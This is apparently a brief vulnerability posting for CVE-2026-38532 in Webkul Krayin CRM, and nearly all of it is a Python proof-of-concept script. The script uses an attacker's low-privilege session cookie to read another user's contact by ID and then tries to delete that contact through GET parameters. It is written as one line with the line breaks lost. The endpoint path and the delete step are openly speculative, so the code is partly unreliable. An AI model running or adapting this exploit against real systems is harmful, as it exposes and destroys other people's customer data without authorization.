CVE-2026-38532 Webkul Krayin CRM BOLA漏洞

import requests # Target URL configuration base_url = "http://target.com" vulnerable_endpoint = "/Contact/Persons/PersonController.php" # Attacker's authenticated cookie (Obtained after low-privilege login) attacker_cookies = { "laravel_session": "attacker_session_id_here" } # Target victim's Contact ID (Arbitrary ID) victim_contact_id = 5 # 1. Proof of Concept: Reading arbitrary contact data # Crafted GET request to access another user's contact read_url = f"{base_url}{vulnerable_endpoint}/{victim_contact_id}" response = requests.get(read_url, cookies=attacker_cookies) if response.status_code == 200: print("[+] BOLA Exploit Successful!") print(f"[+] Leaked Data for ID {victim_contact_id}:") print(response.text) else: print("[-] Request failed or endpoint not reachable.") # 2. Proof of Concept: Deleting arbitrary contact (if method allowed via GET or parameter) # Note: Application might use GET parameters to trigger actions # Example: ?action=delete&id={victim_contact_id} delete_payload = {"action": "delete", "id": victim_contact_id} delete_response = requests.get(f"{base_url}{vulnerable_endpoint}", params=delete_payload, cookies=attacker_cookies) if delete_response.status_code == 200: print(f"[+] Contact ID {victim_contact_id} potentially deleted.")